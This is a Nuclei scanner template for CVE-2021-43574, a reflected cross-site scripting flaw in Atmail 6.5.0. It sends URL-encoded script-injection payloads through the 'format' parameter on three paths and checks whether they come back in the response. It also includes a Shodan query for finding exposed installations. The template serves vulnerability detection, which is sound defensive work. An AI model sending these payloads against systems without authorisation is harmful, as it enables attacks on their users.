nuclei-templates/http/cves/2021/CVE-2021-43574.yaml

id: CVE-2021-43574

info:
  name: Atmail 6.5.0 - Cross-Site Scripting
  author: arafatansari,ritikchaddha
  severity: medium
  description: |
    Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.
  remediation: |
    Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2021-43574-696041dcab9e
    - https://help.atmail.com/hc/en-us/sections/115003283988
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43574
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43574
    cwe-id: CWE-79
    epss-score: 0.00145
    epss-percentile: 0.50128
    cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: atmail
    product: atmail
    shodan-query: http.html:"Powered by Atmail"
  tags: cve,cve2021,atmail,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" does not exist'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500
          - 403
        condition: or
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